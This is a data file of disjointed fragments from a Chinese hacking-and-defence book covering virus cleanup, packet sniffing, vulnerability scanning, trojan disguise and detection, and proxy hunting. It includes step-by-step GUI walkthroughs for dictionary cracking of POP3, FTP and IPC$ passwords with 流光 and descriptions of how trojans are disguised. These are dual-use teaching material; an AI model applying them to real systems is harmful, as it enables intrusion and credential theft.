    {"text": "未知 第60招 保护系统安全的安全护盾 安全护盾是国内首款具有系统和文件双重防护的安全类软件，它具有强大的核心监控功能，包括对程序、网络连接、流氓软件、系统目录、启动项的实时化监控，与此同时，独占式文件保护，保证了文件的储存和内容安全。 1.安全护盾的使用 当安全护盾安装完毕并启动后，安全护盾就自动打开其各种监控功能，对系统进行全方位的监控，用户一般不需要进行设置。其具体的操作步骤如下。 步骤1：将安全护盾安装并启动后即可进入其操作界面，如图6-48所示。 图 6-48 安全护盾操作界面 步骤2：单击【状态】按钮，在其中看到各种“核心监控”功能已经处于开启状态，其中包括“程序监控”、“网络监控”、“流氓软件监控”、“系统目标监控”、“启动项监控”、“U盘病毒监控”，以及“文件保护”项下的“独占完全锁定”、“独占只读式锁定”功能也已开启。若单击“核心监控”项下某个监控项后的“更改状态”超链接，则可将该监控功能关闭。 步骤3：单击【核心监控】按钮并选取“程序实时监控”标签，则可以查看当前系统运行的进程等相关信息，如图6-49所示。在其中可以结束所选进程、查看所选进程文件所在目录、将可疑的进程添加为例外进程等。 图 6-49 程序实时监控 步骤4：选取“网络实时监控”标签，则可以查看当前系统开启的端口以及远程连接的端口等信息，如图6-50所示。选取“流氓软件监控”标签，再单击【规则管理】按钮，则可以改变所选对象的监控状态，如图6-51所示。选取“系统目录监控”标签，在其中设置系统目录监控的安全级别，如图6-52所示。 图 6-50 网络监控 图 6-51 设置流氓软件监控状态 图 6-52 系统目录监控 步骤5：单击【文件保护】按钮，在其中可以添加需要保护的重要文件，如图6-53所示。单击【安全工具】按钮，在其中使用安全护盾为用户提供多种安全工具，其中包括文件粉碎器、杀毒功能、反恶意修改等功能，如图6-54所示。 图 6-53 添加需要保护的文件 图 6-54 安全工具 步骤6：当安全护盾软件运行后，将自动按照用户的设置对系统进行扫描，发现病毒、木马、流氓软件等对象将自动报警，如图6-55所示。用户需要根据报警的内容选择相应的工具，将警报的对象进行清除。 图 6-55 安全警报 2.自动拦截与网络连接的程序 当安全护盾正常运行且各种监控程序都处于开启状态后，如果本机内有程序与外界建立连接，此时就会弹出“自动拦截程序”警告界面，用户可根据拦截的内容选择相应操作。 具体的操作步骤如下。 步骤1：在安全护盾正常运行时，会自动拦截与外界连接的运行程序并显示安全警报窗口，如图6-56所示。 图 6-56 拦截不安全程序 步骤2：如果用户了解现运行的程序，则可单击【解除拦截】按钮，允许该程序通过拦截。若单击【信任此程序】按钮，则安全护盾以后再也不拦截该程序的运行。 步骤3：如果用户对被拦截的程序不熟悉，则尽量单击【保持拦截】按钮，将其程序与网络连接的程序拒绝，避免木马、病毒、远程控制程序等黑客工具的运行与入侵。若单击【结束此程序】按钮，则被拦截的程序将终止运行。 步骤4：如果用户对被拦截的程序不了解，不知道如何操作时，还可以单击【在线查询信息】按钮，通过Internet网络查询该程序的有关信息，确认后再决定如何操作。"},
    {"text": "未知 第61招 真假Desktop.ini和*.htt文件 说到真假Desktop.ini和.htt文件，就让人想到“欢乐时光”病毒了，还记得那铺天盖地的各种版本的病毒变形肆虐网络，大有山洪爆发之势的情景吗？现在回忆起来似乎也就只有“真假Desktop.ini和.htt”这个话题了。 具体的染毒情况如下。 1）在每个检查到的文件夹下生成Desktop.ini和Folder.htt文件（这两个文件控制了文件夹在资源管理器中的显示）。 2）在Windows\\System32和Windows\\Web中生成Kjwall.gif。 3）在Windows 9X系统中，生成Windows\\system\\Kernel.dll文件，且自动运行。 冠群金辰公司关于这个病毒的报告： 别名：VBS/Redlof.A, HTML.Redlof.A； 传播范围：低 破坏性：低 蔓延性：中 1.清除“新欢乐时光”病毒 成功清除“新欢乐时光”病毒的具体操作步骤如下。 步骤1：在【控制面板】窗口中双击“文件夹选项”图标，即可弹出【文件夹选项】对话框，切换至“查看”选项卡，将隐藏文件设为“显示所有文件”选项，如图6-57所示。 图 6-57 【文件夹选项】对话框 注意 因为“欢乐时光”病毒产生的几个文件：Desktop.ini、Folder.htt和Kjwall.gif都是隐藏的，所以要在显示所有文件时才能将它们查找出来。 步骤2：选择【开始】→【搜索】菜单项，即可弹出【搜索结果】窗口。在搜索关键字文本框中输入“desktop.ini、Folder.htt和Kjwall.gif”等关键信息，单击【立即搜索】按钮，即可找到这些隐藏的文件，如图6-58所示。 图 6-58 “搜索结果”窗口 步骤3：将\"Windows\\System\"目录中的Kernel.dll文件删除之后，重启系统就大功告成了。再单击各个磁盘就会很畅快了，不会出现停滞。这种手工清除法只是发现病毒，又没有查杀病毒软件时权宜之计，它治标不治本，最好还是用最新的杀毒软件对其进行查杀。 2.用Folder.htt文件加密文件夹 任何事物都有利弊的方面，这个病毒也不例外。在了解病毒传播方式后，也可仿照病毒传播方式深入了解文件\"Folder.htt\"有益的一面。这个文件是使用JavaScript编写的用来定义打开文件夹行为的超文本文件（可以使用FrontPage打开该文件进行简单编辑）。 其中，打开文件夹的行为定义在如下函数中为： Function showfiles(){ Info.innerhtml=L_intro_text+\"＜br＞＜br＞\"+L_prompt_text; Showfiles=true; Document.all.filelist.style.display=\"\"; Document.all.Brand.style.display=\"none\"; Fixsize(); } 只需在这个函数中进行必要地修改，就可以改变文件打开的行为。比如，要想在打开该文件夹前先进行安全认证，可以这样修改函数： Function showfiles(){ Var password=\"20000203\"; Var input; Input=prompt(\"请输入打开密码:\",\"\"); If(input==password) { Info.innerHTML=L_Intro_text+\"＜br＞＜br＞\"+L_prompt_Text; showFiles=true; document.all.filelist.style.display=\"\"; document.all.brand.style.display=\"none\"; fixsize(); } Else { Alert(\"警告,您无权浏览该目录\"); } } 通过修改打开行为的代码，就可以实现对某个目录的简单加密，当然，这种加密的目录很容易解开。不使用Web方式打开文件夹，避开执行该程序或直接从DOS中进入该文件夹，都可以绕开密码的输入。"},
    {"text": "未知 第4招 网络监听与嗅探 起初，网络监听常被网络管理员用于以太网中监测传输的网络数据，它在排除网络故障等方面功不可没，倍受网络管理员的青睐。 后来，有许多网络入侵往往都伴随着以太网内网络监听行为，从而造成口令失窃，敏感数据被截获等连锁性安全事件，并有意无意地将这种技术引入到了黑客领域，就给以太网带来了极大的安全隐患。 1.网络监听实例演练 网络监听可有效地对网络数据、流量进行侦听、分析，从而排除网络故障，同时又带来了信息失窃等极大隐患。"},
    {"text": "例如，若要查看当前计算机的IP地址，则具体的方法是“在命令提示符下输入'ipconfig'命令，即可查看当前计算机的IP地址，如图1-26所示”。 若想查看本机网卡的IP地址与MAC（Media Access Control，介质访问控制）地址，只需在命令提示符下输入\"ipconfig/all\"命令，如图1-27所示。 图 1-26 查看当前计算机的IP地址 图 1-27 查看本机的网卡和MAC地址 一般而言，网卡有几种接收数据帧的状态，如unicast（直接模式）、broadcast（广播模式）、multicast（多播模式）、promiscuous（混杂模式）等。"},
    {"text": "下面以一款常见工具Sniffer Pro为例介绍一下使用方法。 图 1-28 搜索结果 Sniffer Pro是一款协议分析软件，可运行在各种Windows平台上，Sniffer Pro在安装时需要填写注册信息，运行时占用内存比较大，否则就会降低运行速度。 设置和使用Sniffer Pro的具体操作步骤如下。 步骤1：第一次使用Sniffer Pro时，用户需要选择监听的适配器，如图1-29所示。"},
    {"text": "图 1-31 【Sniffer Pro】操作窗口 图 1-32 利用Sniffer Pro捕捉到的信息 步骤3：双击任意一个IP地址，即可对该报文信息进行详细的查看（即专家分析系统），如图1-33所示。"},
    {"text": "图 1-33 查看报文信息 步骤4：在【Sniffer Pro】主窗口中选择【监视器】→【主机列表】菜单项，即可看到捕获到的主机的详细信息，如图1-34所示。"},
    {"text": "选择【捕获】→【停止并显示】菜单项，即可对所捕获的数据进行查看。 切换到“解码”选项卡，即可看到所捕获到的数据包，如图1-35所示。 图 1-34 查看主机列表 图 1-35 查看所捕获到的数据包 步骤5：切换到“矩阵”选项卡，即可看到全网的连接情况，如图1-36所示。"},
    {"text": "在“位置1”栏的第一行中单击并输入链路层地址条件，如001E8C17B085，此时在“地址2”栏目中会显示\"Any\"，而\"dir.\"栏目中的箭头则表示数据流的方向。"},
    {"text": "图 1-38 设置“高级”选项卡 步骤8：单击【配置文件】按钮，即可打开【捕获配置文件】对话框，在其中可以看到默认的设置，如图1-39所示。"},
    {"text": "在“数据模式”选项卡中可以任意编辑捕获条件，单击【添加AND/OR】按钮，即可添加关系结点，如图1-40所示。 图 1-39 【捕获配置文件】对话框 图 1-40 添加关系结点 步骤9：单击【增加样式】按钮，即可添加模板；"},
    {"text": "步骤10：Sniffer Pro还具有报文发送功能，选择【工具】→【数据包发生器】菜单项，即可看到【数据包发生器】窗口，如图1-41所示。 图 1-41 【数据包发生器】窗口 步骤11：单击【发送1帧】按钮 ，即可打开【发送新的帧】对话框，如图1-42所示。"},
    {"text": "图 1-42 【发送新的帧】对话框 步骤12：单击【尺寸】按钮，即可打开【设置数据包大小】对话框，如图1-43所示。 在“新大小”文本框中输入要发送的数据帧的长度，单击【好】按钮返回到【发送新的帧】对话框，此时在“数据包”栏目中可使用方向键对报文的内容进行编辑。 图 1-43 【设置数据包大小】对话框 步骤13：单击【确定】按钮，即可看到该报文处于发送状态，如图1-44所示。"},
    {"text": "图 1-44 发送报文 使用这种方式发送报文优势在于：当网络发送出现问题时网络流量就会发生异常，可通过网络流时分析图帮助用户及时找出引发流量异常的问题所在。"},
    {"text": "步骤14：如果相对Sniffer Pro的相关选项进行设置，则选择【工具】→【选项】菜单，即可打开【选项】对话框，在其中设置各个选项卡，如图1-45所示。 图 1-45 【选项】对话框 步骤15：另外，Sniffer Pro还允许用户自定义工具。 选择【工具】→【定制用户工具】菜单，即可打开【定义】对话框，如图1-46所示。 单击【添加】按钮，即可添加需要的工具。"},
    {"text": "图 1-46 【定制】对话框 Sniffer Pro不仅可确保网络性能的优化，还可通过对网络连接情况的分析，发现并清除病毒，此功能在网络管理是非常重要的。"},
    {"text": "2.用SSS扫描器实施扫描 SSS（Shadow Security Scaner）是一款著名的系统漏洞扫描器，可对很大范围内的系统漏洞进行高效、可靠的安全检测，其系统扫描的速度与精度足以让用户敢于向专业的安全机构和那些专门入侵他人计算机系统的黑客叫板。 利用SSS扫描器对系统漏洞进行扫描的具体操作步骤如下。 步骤1：安装好SSS软件后，选择【开始】→【程序】→【Safety-lab】→【Shadow Security Scaner】→【Shadow Security Scaner】菜单项，即可进入其操作界面，如图1-47所示。 图 1-47 SSS操作界面 步骤2：单击工具栏上的【New session】按钮，即可打开【New session】对话框，在其中设置扫描项目设置向导的有关选项，如图1-48所示。 图 1-48 【设置扫描项目】窗口 步骤3：用户可以选择预设的扫描规则，也可单击【Add rule】按钮，即可打开【Create new rule】对话框，在其中创建新的扫描规则，如图1-49所示。 图 1-49 创建扫描规则 步骤4：单击【OK】按钮，即可在设置扫描选项对话框中设置新扫描规则的有关选项，如图1-50所示。 在选择好扫描规则后（如\"Complete Scan\"选项），单击【Next】按钮，在显示的对话框中单击【Add host】按钮，即可添加扫描的目标计算机，如图1-51所示。 图 1-50 设置扫描选项 图 1-51 添加扫描的目标计算机 步骤5：选取\"Host\"单选项，可添加单一目标计算机的IP地址或计算机名称；"},
    {"text": "选取\"Hosts range\"单选项，可添加一个IP地址范围； 选取\"Hosts from file\"单选项，可通过指定已存在的目标计算机列表文件添加目标计算机； 选取\"Host groups\"单选项，则可通过添加工作组的方式添加目标计算机，并设置登录的用户名称和密码。 在添加好目标计算机之后，单击【Add】按钮，即可完成目标计算机的添加，如图1-52所示。 图 1-52 添加目标计算机 步骤6：单击【Next】按钮，即可完成扫描项目的创建并返回SSS主界面。 单击工具栏上的【Start scan】按钮，开始对目标计算机进行扫描，并可在\"Statistics\"标签卡中查看扫描进程，如图1-53所示。"},
    {"text": "单击左侧窗口中的【DoS Checker】按钮，即可打开如图1-55所示的对话框。 在其中选择检测的项目，设置扫描的线程数（Threads）之后，单击【Start】按钮，即可进行DoS检测并给出检测结果。 图 1-55 设置DoS检测选项 步骤8：选择【Tools】→【Options】菜单项，即可打开SSS选项设置对话框，在其中可以设置常规选项（如图1-56所示），扫描选项（如图1-57所示）等。"},
    {"text": "图 1-56 常规选项设置 图 1-57 扫描选项设置 3.用流光扫描弱口令 流光软件可以探测POP3（Post Office Protocol 3，邮局协议版本3）、FTP（File Transfer Protocol，文本传输协议）、HTTP、SQL（Structured Query Language）、SMTP、IPC$（Internet Process Connection）等各种漏洞，并针对各种漏洞设计了不同的破解方案，可在有漏洞的系统上轻易得到被探测的用户密码。"},
    {"text": "图 1-58 流光主窗口 步骤2：选择【文件】→【高级扫描向导】菜单项，即可打开【设置】对话框，在“起始地址”和“结束地址”文本框中输入目标网段主机的开始和结束IP地址，在“目标系统”下拉列表中选择待检测的操作系统类型，勾选“获取主机”和“PING检查”复选框，在“检测项目”列表框中选择需要扫描的项目，如图1-59所示。 图 1-59 【设置】对话框 步骤3：单击【下一步】按钮，即可打开【PORTS】对话框，在其中设置所要扫描的端口号，如图1-60所示。"},
    {"text": "图 1-60 【PORTS】对话框 步骤4：在设置完毕之后，即可进入【选项】对话框，在其中可根据需要选择猜解用户名字典、密码字典和保存扫描报告的路径，并选择相应的并发线程数目，如图1-61所示。"},
    {"text": "图 1-61 【选项】对话框 步骤5：单击【完成】按钮，即可完成设置并弹出【选择流光主机】对话框，在其中选择用于扫描的流光主机，如图1-62所示。 图 1-62 【选择流光主机】对话框 步骤6：如果只用本机扫描，则单击【开始】按钮，即可自动扫描。 如果要选择目标机，则单击【详情】按钮，即可打开【Sensor管理工具】对话框，如图1-63所示。 图 1-63 【Sensor管理工具】对话框 步骤7：单击【新增】按钮，即可打开【安装Fluxay Sensor】对话框，在其中输入目标机的相应信息，如图1-64所示。"},
    {"text": "图 1-64 【安装Fluxay Sensor】对话框 步骤8：单击【开始】按钮，即可自动进行扫描，扫描完成后将自动生成一个HTML（Hyper Text Markup Language，超文本标记语言）格式的扫描报告，在其中显示了扫描到的用户密码，如图1-65所示。 图 1-65 扫描结果显示 除使用“高级扫描向导”配置高级扫描外，还可选择【探测】→【高级扫描工具】菜单项，在【高级扫描设置】对话框中设置进行扫描，如图1-66所示。"},
    {"text": "图 1-66 【高级扫描设置】对话框 步骤1：在流光主窗口中右击“POP3主机”选项，从快捷菜单中选择【编辑】→【添加】选项，即可打开【添加主机】对话框，在其中输入要添加邮箱的名称，如图1-67所示。 图 1-67 【添加主机】对话框 步骤2：单击【确定】按钮，即可完成邮箱的添加操作，如图1-68所示。 右击添加的邮箱并选择【编辑】→【从列表添加】选项，即可打开【打开】对话框，在其中选择创建的用户字典，如图1-69所示。 图 1-68 邮箱添加显示 图 1-69 【打开】对话框 步骤3：单击【打开】按钮，即可将用户字典添加成功。"},
    {"text": "单击“显示所有项目”选项，即可显示出所有将破解的用户列表，如图1-70所示。 图 1-70 破解用户列表 步骤4：如果是大量用户，则选择【探测】→【简单模式探测】菜单项，在其中搜索出弱口令用户。 如果是少量用户或添加的单个指定用户，则使用密码字典文件进行破解，即右击“解码字典或方案”选项，从快捷菜单中选择【编辑】→【添加】菜单项，即可搜索出相应的弱口令。"},
    {"text": "例1：在“命令提示符”窗口中运行\"windump-D\"命令，即可列出本机可供抓包的全部接口，如图1-71所示。 图 1-71 查看本机全部接口 小技巧 当本机存在多个网卡时，使用\"windump-D\"命令非常有用。 例如，某用户机器装有3块网卡，若只抓第二块网卡上的包，可用\"windump-D\"列出机器上所有的网卡，再指定只抓第二块网卡的包，只需继续输入“Windump I 2（2指网卡序号）”即可。 例2：在“命令提示符”窗口的命令提示符下输入\"windump-n host 192.168.0.12\"命令，即可只抓关于192.168.0.12主机的包（不管包的方向），如图1-72所示。 图 1-72 抓取指定主机的包 例3：也可以通过在命令提示符下输入\"windump-n host 192.168.0.12 and udp port 514\"命令，则表示只抓关于主机192.168.0.12上udp（User Datagram Protocol，用户数据报协议）协议端口为514的包。 例4：在命令提示符下输入\"windump-n net 10.45\"命令，则表示只抓10.45网段的包（不管包的方向）。 例5：在命令提示符下输入\"windump-n host！"},
    {"text": "5.经典嗅探器Iris Iris网络流量分析监测工具可以帮助系统管理员轻易地捕获和查看用户的使用情况，可以同时检测到进入和发出的信息流，则会自动进行存储和统计，偏重于查看和管理。"},
    {"text": "图 1-73 进行网卡绑定 图 1-74 Iris的主窗口 步骤2：Iris可以捕获所在网段里所有的数据包，单击【捕获】按钮图标，主窗口被分为3个窗格：左侧“封包解码器”窗格用树型结构显示着每个数据包的详细结构以及数据包每个部分所包含的数据；"},
    {"text": "选中某个服务之后，客户机和服务器之间的会话信息就会显示在“会议列表视图”窗格中，选中某个会话记录可在“会议数据视图”窗格里显示解码后的信息； 在“会议列表视图”窗格中每个会话的属性有服务器、客户机、服务器端口、客户机端口、客户机物理地址，还有服务器到客户机的数据量、客户机到服务器的数据量以及总的数据量； 右下角的“会议数据视图”窗格显示解码后的会话信息。"},
    {"text": "图 1-75 对捕获的数据包进行分析 步骤4：流经Sniffer的数据很多，但大部分都没什么实际用处，可以通过“过滤器”设置仅处理需要的信息以减少系统资源占用。"},
    {"text": "单击Iris主窗口中的【过滤器】图标，即可弹出如图1-76所示的配置窗口。 图 1-76 Iris的配置窗口 步骤5：单击 按钮，即可按图表形式展示与本机相连数据量最大的10台主机，如图1-77所示。"},
    {"text": "图 1-77 展示与本机相连的主机 在其中可以用多种方式显示（包括饼图、柱状图等），还可在底部状态栏上切换数据包类型（IP包、MAC包或IPX包）。"},
    {"text": "该工具还可以显示QQ聊友的IP地址，在状态栏上切换到IP类型（因为它采用TCP/IP协议）后，给聊友发一个信息，图表中马上就可以显示对方的IP地址。"},
    {"text": "未知 第62招 防范木马的入侵 “黑客”利用计算机系统和软件的漏洞将一段程序植入远端电脑后，可以借助其配套的控制程序来远程控制中毒电脑，肆无忌惮地查看、下载他人电脑中的内容。 木马对计算机的危害如此之大，要想彻底查杀木马，应该先识别木马并根据木马的性质特点，将木马从众多的文件中侦查出来，将其彻底删除，从而保证计算机操作系统的安全。 1.木马都有哪些伪装手段 越来越多的人对木马的了解和防范意识的加强，对木马传播起到了一定的抑制作用，为此，木马设计者们就开发了多种功能来伪装木马，以达到降低用户警觉，欺骗用户的目的。 下面就来详细了解木马的常用伪装方法。 1）给木马服务端程序更名。 木马服务端程序的命名有很大的学问。 如果不做任何修改，就使用原来的名字，谁不知道这是个木马程序呢？ 所以木马的命名也是千奇百怪。 不过大多是改为和系统文件名差不多的名字，如果用户对系统文件不够了解，可就危险了。 例如有的木马把名字改为window.exe，还有的就是更改一些后缀名，比如把dll改为d11等（注意看是数字“11”而非英文字母\"ll\"）等。 不过，安装到系统文件夹中的木马文件名一般是固定的，只要根据一些查杀木马的文章，按图索骥在系统文件夹中查找特定的文件，就可以断定中了什么木马。 因此，现在有很多木马都允许控制端用户自由定制安装后的木马文件名，这样就很难判断所感染的木马类型了。"},
    {"text": "恶意捆绑文件伪装手段是将木马捆绑到一个安装程序上，当用户在进行该程序安装运行时，木马就偷偷地潜入了系统。 这种伪装手段是将木马捆绑到一个安装程序上，当安装程序运行时，木马在用户毫无察觉的情况下，偷偷地进入了系统。"},
    {"text": "这是许多黑客常用来骗别人执行木马的方法，就是将木马说成为图像文件，比如说是照片等，应该说这样是最不合逻辑的，但却使最多人中招。 只要入侵者扮成美眉及更改服务端程序的文件名为“类似”图像文件的名称，再假装传送照片给受害者，受害者就会立刻执行它。"},
    {"text": "将一个木马和一个损坏的zip包（可自制）捆绑在一起，然后指定捆绑后的文件为zip图标，这样一来，除非别人看了它的后缀，否则点下去将和一般损坏的zip没什么两样，根本不知道其实已经有木马在悄悄运行了。 6）把木马伪装成文件夹。 把木马文件伪装成文件夹图标后，放在一个文件夹中，然后在外面再套三四个空文件夹，很多人出于连续点击的习惯，点到那个伪装成文件夹木马时，也会收不住鼠标点下去，这样木马就成功运行了。"},
    {"text": "这是最新的伪装方法，把木马服务端程序和WinRar捆绑在一起，将其制作成自释放文件，这样做了以后是非常难以检查的，即使是用最新的杀毒软件也无法发现！ 识别的方法是查看WinRar捆绑的木马文件的“属性”，在“属性”对话框中会发现多出两个标签“档案文件”和“注释”，点选“注释”标签，即可发现木马文件。"},
    {"text": "很多老式的木马端口都是固定的，只要查一下特定的端口就可以知道是否感染了木马。 现在很多新式的木马都加入了定制端口的功能，控制端用户可以在1024～65535之间任选一个端口作为木马端口（一般不选1024以下的端口），这样，要想判断自己所感染的木马类型就十分麻烦。"},
    {"text": "由于在服务端用户打开含有木马的文件后，木马会将自己复制到Windows的系统文件夹中（一般位于C:\\Windows\\system(Windows 9X)或C:\\WINNT\\system32(Windows NT/2000)下），一般来说，原木马文件和系统文件夹中的木马文件大小一样（捆绑文件的木马除外），只要在近来收到的信件和下载的软件中找到原木马文件，再根据原木马的大小去系统文件夹中查找相同大小的文件，判断一下哪个是木马即可。 而木马的自我销毁功能是指安装完木马后，原木马文件将自动销毁，这样服务端用户就很难找到木马的来源，如果没有查杀木马工具的帮助是很难删除木马的。"},
    {"text": "木马编写者用自己编制的特洛伊dll替换已知的系统dll，并对所有的函数调用进行过滤，对于正常的调用，使用函数转发器直接转发给被替换的系统dll。"},
    {"text": "对于一些事先约定好的特殊情况，dll会执行一些相对应的操作，一个比较简单的方法是一个进程，虽然所有的操作都在dll中完成会更加隐蔽，但大大增加了程序编写的难度。"},
    {"text": "目前，有些木马就是采用这种内核插入式的嵌入方式，利用远程插入线程技术嵌入dll线程或挂接PSAPI，实现木马程序的隐藏，甚至在Windows NT/2000下都达到了隐藏效果。 2.识别出机器中的木马 使用木马克星之类的软件，可以检测到一些采用打开TCP端口监听和写入注册表启动等方式的常见木马，如SUB7、BO2000、“冰河”等，这些检测木马的软件大多都是利用检测TCP连结、注册表等信息，来判断是否有木马入侵的，也可以通过手动来侦测木马。 一旦感觉自己的计算机感染了木马，最好马上用杀毒软件检查一下自己的计算机，然后不管结果如何，也应该再亲自作一次更深入的调查，确保自己机器安全。 经常关注新的和出名的木马特性报告，这将对诊断自己计算机的问题很有帮助。 当出现如下几种情况时，最好检查一下自己的计算机是否中了木马： 1）在浏览网站时出现弹出广告窗口是很正常的事，但如果自己根本没有打开浏览器，而浏览器突然自己打开并进入某个网站。 2）在操作计算机时突然弹出一个警告框或询问框，询问用户一些从来没有在计算机上接触过的问题。 3）Windows系统配置莫名其妙地被更改，如屏保显示的文字、时间和日期、声音大小、鼠标灵敏度，还有CD-ROM的自动运行配置等。 4）硬盘长时间地读盘，软驱灯常亮不灭，网络连接及鼠标屏幕出现异常现象。"},
    {"text": "当出现上述情况之一时，最简单的方法就是使用\"netstat-a\"命令查看所有网络连接，如果这时有攻击者通过木马连接，就可以通过这些信息发现异常。 通过端口扫描方法也可发现一些简单的木马，它们捆绑的端口不能更改，通过扫描这些固定的端口也可以发现木马是否被植入。"},
    {"text": "但没有上面的种种现象并不代表自己就绝对安全，对于那些隐藏得很深，并且想把自己的机器变成一台可以长期使用“肉鸡”的黑客，就需要自己对入侵木马有超强的敏感度了，而这些能力都是在平常实践过程中日积月累而成的。"},
    {"text": "此外，用户还可以通过软件检查系统进程来发现木马，如利用进程管理软件来查看进程，如果发现可疑进程就杀死它。 发现进程可疑简单的方法是：在EXPLORER.EXE、INTERNAT.EXE、KERNEL32.DLL、MPREXE.EXE、MSGSRV32.EXE、SPOOL32.EXE、IEXPLORE.EXE（如果打开了IE）等绝对正常的进程之外，查看是否出现了其他自己没有运行的程序进程。 此外，还可以通过手动检测、木马启动的系统文件和查看注册表等方式，把那些不明的自行启动执行文件清除掉。 在发生系统异常之后，最好将网络线断开再诊断木马。 3.防范木马的入侵 木马一旦被植入就有可能对用户造成极大的损失，最好的办法还是将木马拒之于门外，做到防范于未然。 采用下面的方法可以使木马入侵的风险大大降低。 1）及时更新Windows安全补丁。 因为绝大多数肉鸡都是因为没有及时打补丁，然后就中了别人的网页木马等。 2）安装防火墙和反病毒软件并实时更新病毒库。 比如360安全卫士、瑞星杀毒软件、瑞星个人防火墙、金山毒霸、江民、天网等。"},
    {"text": "5）不要执行来历不明的软件。 最好是在一些知名的网站下载软件，不要下载和运行那些来历不明的软件。 在安装软件时最好用杀毒软件查看有没有病毒，再进行安装。"},
    {"text": "不要随意访问游戏中或其他地方出现的各类可疑网址，尤其是虚拟物品买卖和各种领奖的网站，这些网站都极有可能含有木马以盗取用户的账号密码。"},
    {"text": "8）尽量少用共享文件夹。 如果必须使用共享文件夹，则最好设置账号和密码保护。 千万不要将系统目录设置成共享，最好将系统下默认共享的目录关闭。 Windows系统默认情况下将目录设置成共享状态，这是非常危险的。"},
    {"text": "注意不要在聊天室内公开自己的E-mail地址等个人资料，因为黑客进行攻击的第一步，就是处心积虑地在网络上收集一切有用的资料，在网络上公开的个人信息很有可能会成为黑客的垫脚石。"},
    {"text": "4.在“Windows进程管理器”中管理进程 所谓进程是指系统中应用程序的运行实例，是应用程序的一次动态执行，是操作系统当前运行的执行程序。 通常按\"Ctrl+Alt+Delete\"组合键，即可打开【Windows任务管理器】窗口，如图6-59所示。 在“进程”选项卡中可对进程进行查看和管理，如图6-60所示。 图 6-59 【Windows任务管理器】窗口 图 6-60 “进程”设置窗口 要想更好地、更全面地对进程进行管理，还需要借助于“Windows进程管理器”软件的功能，具体的操作步骤如下。 步骤1：解压缩下载的“Windows进程管理器”软件，双击\"PrcMgr.exe\"启动程序图标，即可打开【Windows进程管理器】窗口，在其中显示了系统当前正在运行的所有进程，如图6-61所示。 图 6-61 【Windows进程管理器】窗口 步骤2：其列表内容与【Windows任务管理器】窗口中的进程列表相同。 选择列表中的其中一个进程选项之后，单击【描述】按钮，即可对其相关信息进行查看，如图6-62所示。 图 6-62 查看进程描述信息 步骤3：单击【模块】按钮，即可查看该进程的进程模块，如图6-63所示。 在进程选项上右击进程选项，从快捷菜单中可以进行一系列操作，如图6-64所示。 图 6-63 查看进程模块 图 6-64 操作进程选项 步骤4：如果要查看某进程选项的属性，只用选中此选项之后，单击【查看属性】按钮，即可从打开【属性】对话框中进行查看，如图6-65所示。 在“端口监听”选项卡中可查看进程的相应端口，如图6-66所示。 图 6-65 【属性】对话框 图 6-66 “端口监听”设置窗口 步骤5：在“系统信息”选项卡中可查看系统的有关信息，并可以监视内存和CPU的使用情况，如图6-67所示。"},
    {"text": "未知 第7章 网络代理与追踪技术 重点提示 ♂代理服务器与代理软件 ♂架设超级Sock5代理 ♂代理软件CCProxy中的漏洞 ♂利用SocksCap32设置动态代理 ♂IP动态自由切换 ♂组合代理服务器的深入应用 ♂防范远程跳板式入侵 本章精粹： 本章主要介绍了几款常用网络代理与追踪软件的使用方法，有助于读者在以后应用中避免更多网络追踪和攻击。 为了更好地隐藏自己，黑客在攻击前往往会先找到一些疏于管理或管理员水平不高的网络主机（即所谓的“肉鸡”）作为代理服务器，通过这些主机再去攻击目标系统。有了这些代理服务器，黑客行踪就不易被追踪者所查到，就可以在目标主机中为所欲为了。"},
    {"text": "未知 第63招 代理服务器与代理软件 在找到远程主机/服务器的系统漏洞之后，入侵者往往会在入侵时使用各种方法隐藏自己，尽量不去直接与目标主机接触，以免直接暴露给远程主机/服务器。"},
    {"text": "代理猎手可以通过百度、雅虎、新浪等搜索引擎查找代理猎手下载链接进行下载。 （1）添加搜索任务 在代理猎手安装完毕后，还需要添加相应的搜索任务，具体的操作步骤如下。 步骤1：在【代理猎手】窗口中选择【搜索任务】→【添加任务】菜单项，即可打开【添加搜索任务】对话框，如图7-1所示。 图 7-1 【添加搜索任务】对话框 步骤2：在“任务类型”下拉列表框中有“定时开始搜索”、“搜索完毕关机”和“搜索网址范围”三个下拉列选项（这里选取“搜索网址范围”选项），单击【下一步】按钮，即可打开【地址范围设置】对话框，如图7-2所示。 图 7-2 【地址范围设置】对话框 步骤3：单击【添加】按钮，即可弹出【添加搜索IP范围】对话框，在其中根据实际情况设置IP地址范围，如图7-3所示。 单击【确定】按钮，即可完成IP地址范围的添加操作，如图7-4所示。 图 7-3 【添加搜索IP范围】对话框 图 7-4 添加IP范围 步骤4：在【地址范围设置】对话框中若单击【选取已定义的范围】按钮，则可弹出【预定义的IP地址范围】对话框，如图7-5所示。 单击【添加】按钮，即可打开【添加预设IP地址范围】对话框，如图7-6所示。 图 7-5 【预定义的IP地址范围】对话框 图 7-6 【添加预设IP地址范围】对话框 步骤5：在其中根据实际情况设置IP地址范围，并输入相应的地址范围说明，单击【确定】按钮，即可完成添加操作，如图7-7所示。 如果在【预定义的IP地址范围】对话框中单击【打开】按钮，则可打开【读入地址范围】对话框，如图7-8所示。 图 7-7 添加结果显示 图 7-8 【读入地址范围】对话框 步骤6：在其中选择代理猎手已预设IP地址范围的文件（这里选择\"HongKong.ipr\"文件），并将其读入【预定义的IP地址范围】对话框中，如图7-9所示。 再选择需要搜索的IP地址范围，单击【使用】按钮，即可将预设的IP地址范围添加到搜索IP地址范围中。 图 7-9 选择IP地址范围 步骤7：单击【下一步】按钮，即可打开【端口和协议】对话框，如图7-10所示。 单击【添加】按钮，即可打开【添加端口和协议】对话框，在其中根据实际情况输入相应的端口，如图7-11所示。 图 7-10 【端口和协议】对话框 图 7-11 【添加端口和协议】对话框 步骤8：单击【确定】按钮，即可完成添加操作，如图7-12所示。"},
    {"text": "图 7-12 完成端口和协议的添加 （2）设置参数 在设置好搜索的IP地址范围之后，就可以开始进行搜索了，但为了提高搜索效率，还有必要先设置一下代理猎手的各项参数。"},
    {"text": "在“搜索验证设置”选项卡中可设置“搜索设置”、“验证设置”、“局域网或拨号上网”、“搜索方法”和“其他设置”等选项（这里勾选“启用先ping后连的机制”复选框，以提高搜索效果）。"},
    {"text": "图 7-13 设置搜索参数 小技巧 代理猎手默认的搜索、验证和Ping的并发数量分别为50、80和100，如果用户的带宽无法达到，就最好相应地减少各个并发数量，以减轻网络的负担。"},
